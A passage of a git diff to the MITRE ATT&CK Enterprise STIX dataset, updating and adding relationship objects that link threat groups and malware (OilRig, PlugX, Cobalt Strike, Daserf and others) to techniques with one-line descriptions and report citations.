             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5.json b/enterprise-attack/relationship/relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5.json
new file mode 100644
index 0000000000..c530b334a6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d3d580b3-3ec0-4041-8fc0-5b3c6afc2e40",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has encrypted and encoded data in its malware.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4.json b/enterprise-attack/relationship/relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4.json
index ceaa24fd85..9675f071be 100644
--- a/enterprise-attack/relationship/relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4.json
+++ b/enterprise-attack/relationship/relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1196e86-2356-432f-9598-275d848211e0",
+    "id": "bundle--6271f8f2-0ada-4a5b-90fd-191fd29d244f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Komplex C2 channel uses HTTP POST requests ",
+            "description": "The Komplex C2 channel uses HTTP POST requests.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4.json b/enterprise-attack/relationship/relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4.json
index a7b31a591c..32d685fe1e 100644
--- a/enterprise-attack/relationship/relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4.json
+++ b/enterprise-attack/relationship/relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--326d093d-5d79-437d-876a-14c63ddebca5",
+    "id": "bundle--6a63b814-20b0-4204-844a-2d75c4ce00c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers data from the local victim system.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--ce212487-1291-4fe6-9f0b-f697516a7824.json b/enterprise-attack/relationship/relationship--ce212487-1291-4fe6-9f0b-f697516a7824.json
index 0ccfa60e4f..8c0be57ef9 100644
--- a/enterprise-attack/relationship/relationship--ce212487-1291-4fe6-9f0b-f697516a7824.json
+++ b/enterprise-attack/relationship/relationship--ce212487-1291-4fe6-9f0b-f697516a7824.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ddda1069-1dc7-49ee-a984-8070625c03cc",
+    "id": "bundle--01118c8a-1e6b-477e-8d5c-0d540efdac3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ce212487-1291-4fe6-9f0b-f697516a7824",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has cleared select event log entries.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--ce288414-89f3-40d4-9a85-004d8a064eb4.json b/enterprise-attack/relationship/relationship--ce288414-89f3-40d4-9a85-004d8a064eb4.json
new file mode 100644
index 0000000000..7874bd9130
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ce288414-89f3-40d4-9a85-004d8a064eb4.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--1b943592-3dae-4fb5-93b1-7b5ebb4065cf",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ce288414-89f3-40d4-9a85-004d8a064eb4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ce42140b-f801-40da-8185-105a9b1a915a.json b/enterprise-attack/relationship/relationship--ce42140b-f801-40da-8185-105a9b1a915a.json
index aa184b19ea..00b93c9377 100644
--- a/enterprise-attack/relationship/relationship--ce42140b-f801-40da-8185-105a9b1a915a.json
+++ b/enterprise-attack/relationship/relationship--ce42140b-f801-40da-8185-105a9b1a915a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--924fa741-16a5-464c-92fa-90ac84a7a92d",
+    "id": "bundle--7d006980-9340-4971-951e-4a966f8ca6f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ce42140b-f801-40da-8185-105a9b1a915a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be added as a service to establish persistence.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--ce424541-5cfa-4885-ad62-f3f70fa27099.json b/enterprise-attack/relationship/relationship--ce424541-5cfa-4885-ad62-f3f70fa27099.json
new file mode 100644
index 0000000000..77918e7001
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ce424541-5cfa-4885-ad62-f3f70fa27099.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--fad6c26b-3419-4c61-8cd8-0f8b1b2ff1e1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ce424541-5cfa-4885-ad62-f3f70fa27099",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "provides a reverse shell on the victim.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f.json b/enterprise-attack/relationship/relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f.json
index 80e7be6eae..f73b5dea2a 100644
--- a/enterprise-attack/relationship/relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f.json
+++ b/enterprise-attack/relationship/relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9378172-6af8-4361-b620-ef3cc3393c6d",
+    "id": "bundle--ab86ffc0-fb57-4855-a9b4-356714522e88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to upload a file to the victim machine.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552.json b/enterprise-attack/relationship/relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552.json
new file mode 100644
index 0000000000..5def23a33a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--549eb990-6724-49f8-aa2f-864a9c47e16a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses RC4 encryption to obfuscate HTTP traffic.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ced15447-281b-4d92-941e-b5df9747a3d5.json b/enterprise-attack/relationship/relationship--ced15447-281b-4d92-941e-b5df9747a3d5.json
index 374e85f628..c7d557e997 100644
--- a/enterprise-attack/relationship/relationship--ced15447-281b-4d92-941e-b5df9747a3d5.json
+++ b/enterprise-attack/relationship/relationship--ced15447-281b-4d92-941e-b5df9747a3d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d044ae5-1cd3-4af6-8843-6a89834afdb7",
+    "id": "bundle--e820fb29-bb49-439e-a963-8daad475814f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rundll32.exe is used as a way of executing Flame at the command-line.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
diff --git a/enterprise-attack/relationship/relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252.json b/enterprise-attack/relationship/relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252.json
index 49d4751ef2..eb53140633 100644
--- a/enterprise-attack/relationship/relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252.json
+++ b/enterprise-attack/relationship/relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b9895dbe-ee87-47a2-84c2-a6fb6a2d7e7e",
+    "id": "bundle--f4084254-6315-4b00-bc89-cc2222847904",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type network traffic can communicate over a raw socket.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--cf467be5-c162-4763-801b-32cb57a514ef.json b/enterprise-attack/relationship/relationship--cf467be5-c162-4763-801b-32cb57a514ef.json
index 7ed66b31db..887bc949af 100644
--- a/enterprise-attack/relationship/relationship--cf467be5-c162-4763-801b-32cb57a514ef.json
+++ b/enterprise-attack/relationship/relationship--cf467be5-c162-4763-801b-32cb57a514ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c79394d-40ec-490c-aba7-244b21686f3b",
+    "id": "bundle--fe6c201a-862e-4e88-8cf7-df55b510c9b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cf467be5-c162-4763-801b-32cb57a514ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
diff --git a/enterprise-attack/relationship/relationship--cf699238-7091-4d79-9741-d792152f37c1.json b/enterprise-attack/relationship/relationship--cf699238-7091-4d79-9741-d792152f37c1.json
index ca56016516..1be443dcf8 100644
--- a/enterprise-attack/relationship/relationship--cf699238-7091-4d79-9741-d792152f37c1.json
+++ b/enterprise-attack/relationship/relationship--cf699238-7091-4d79-9741-d792152f37c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ba323a10-c835-4fd3-abfd-a90768ec5d30",
+    "id": "bundle--7b15b784-e8c8-4b62-9ae7-f11fea210d24",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cf699238-7091-4d79-9741-d792152f37c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445",
             "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
diff --git a/enterprise-attack/relationship/relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd.json b/enterprise-attack/relationship/relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd.json
index c27b812226..99d4b4c91b 100644
--- a/enterprise-attack/relationship/relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd.json
+++ b/enterprise-attack/relationship/relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f181176-1411-48a7-8e3f-a93ce81930bd",
+    "id": "bundle--dc33e287-7429-475d-81a5-a81c291d8e91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--cf859589-38ac-4152-b206-08740ccf503b.json b/enterprise-attack/relationship/relationship--cf859589-38ac-4152-b206-08740ccf503b.json
index 2cb1331c86..db2ec88dd3 100644
--- a/enterprise-attack/relationship/relationship--cf859589-38ac-4152-b206-08740ccf503b.json
+++ b/enterprise-attack/relationship/relationship--cf859589-38ac-4152-b206-08740ccf503b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da4fecfe-2c62-4c7f-ba23-498307525192",
+    "id": "bundle--6f7af266-3896-4905-adae-3a5cdc87aaec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cf859589-38ac-4152-b206-08740ccf503b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor is known to utilize encryption within network protocols.",
             "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
diff --git a/enterprise-attack/relationship/relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd.json b/enterprise-attack/relationship/relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd.json
index 61522c0ddd..5dda758d52 100644
--- a/enterprise-attack/relationship/relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd.json
+++ b/enterprise-attack/relationship/relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c7c937d0-5e06-4105-af7e-a41a45b04bc5",
+    "id": "bundle--021e7120-1b56-47e0-83fc-35222abfc42d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of persisting via a .lnk file stored in the Startup directory.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--cfc7da70-d7c5-4508-8f50-1c3107269633.json b/enterprise-attack/relationship/relationship--cfc7da70-d7c5-4508-8f50-1c3107269633.json
index eec07f96b2..4b00c398eb 100644
--- a/enterprise-attack/relationship/relationship--cfc7da70-d7c5-4508-8f50-1c3107269633.json
+++ b/enterprise-attack/relationship/relationship--cfc7da70-d7c5-4508-8f50-1c3107269633.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7410de03-b318-49fc-99bf-b600906b380a",
+    "id": "bundle--791416c7-c353-4c7d-9ba3-8f0d5d56c872",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfc7da70-d7c5-4508-8f50-1c3107269633",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae.json b/enterprise-attack/relationship/relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae.json
index 4ad4ddf8ff..c04b0ecfb2 100644
--- a/enterprise-attack/relationship/relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae.json
+++ b/enterprise-attack/relationship/relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c63e451-ddbf-43b2-b8d8-8a28999e1449",
+    "id": "bundle--482bc76f-ef45-4be8-9925-05b7e5d98c9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder communicates with its C2 server over TCP port 3728.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8.json b/enterprise-attack/relationship/relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8.json
index e2cb56bf6c..b9c25ab746 100644
--- a/enterprise-attack/relationship/relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8.json
+++ b/enterprise-attack/relationship/relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cc1861cf-ba49-49d7-a5b4-559d4af527de",
+    "id": "bundle--80c1aa69-55ef-4c1c-a343-8071459dd73e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e",
             "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
diff --git a/enterprise-attack/relationship/relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc.json b/enterprise-attack/relationship/relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc.json
index 16773d7553..2730dcd3e3 100644
--- a/enterprise-attack/relationship/relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc.json
+++ b/enterprise-attack/relationship/relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ffcdbafb-7757-40ba-af65-a7f64a2fa987",
+    "id": "bundle--8916bb8a-d5d5-4030-bd84-2f3ec72a4e68",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--cff2088f-c003-4d03-aa8a-cca36753b930.json b/enterprise-attack/relationship/relationship--cff2088f-c003-4d03-aa8a-cca36753b930.json
index 65c0102fd6..c553635b04 100644
--- a/enterprise-attack/relationship/relationship--cff2088f-c003-4d03-aa8a-cca36753b930.json
+++ b/enterprise-attack/relationship/relationship--cff2088f-c003-4d03-aa8a-cca36753b930.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9182b67a-daeb-4da6-8dad-134482acfa5f",
+    "id": "bundle--a1e54307-42df-4e9a-8279-d2d62837b403",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cff2088f-c003-4d03-aa8a-cca36753b930",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee",
             "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
diff --git a/enterprise-attack/relationship/relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58.json b/enterprise-attack/relationship/relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58.json
index a57997712d..c29c4544a7 100644
--- a/enterprise-attack/relationship/relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58.json
+++ b/enterprise-attack/relationship/relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f182b5a-d460-4bc4-bdd3-738d053f940b",
+    "id": "bundle--45b83bd6-02f5-4a86-a0f8-baafbe77bb6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can delete a specified file.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--d021d378-a5ff-4020-972c-cc9152e824b0.json b/enterprise-attack/relationship/relationship--d021d378-a5ff-4020-972c-cc9152e824b0.json
index f85255b9bf..62fb1e438d 100644
--- a/enterprise-attack/relationship/relationship--d021d378-a5ff-4020-972c-cc9152e824b0.json
+++ b/enterprise-attack/relationship/relationship--d021d378-a5ff-4020-972c-cc9152e824b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d757d53-4928-4c11-8b2f-0b89bc88b83a",
+    "id": "bundle--b2339aa6-f5ff-4ea4-b9ee-d2c3d1354ae6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d021d378-a5ff-4020-972c-cc9152e824b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel has been known to establish persistence by adding programs to the Run Registry key.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
diff --git a/enterprise-attack/relationship/relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390.json b/enterprise-attack/relationship/relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390.json
index 59ed7ad799..eab6e07c60 100644
--- a/enterprise-attack/relationship/relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390.json
+++ b/enterprise-attack/relationship/relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--973cd649-34c9-4346-a31f-050daae1fecf",
+    "id": "bundle--c3e1eeff-69cc-4315-973b-9e6fc9476bc4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390",
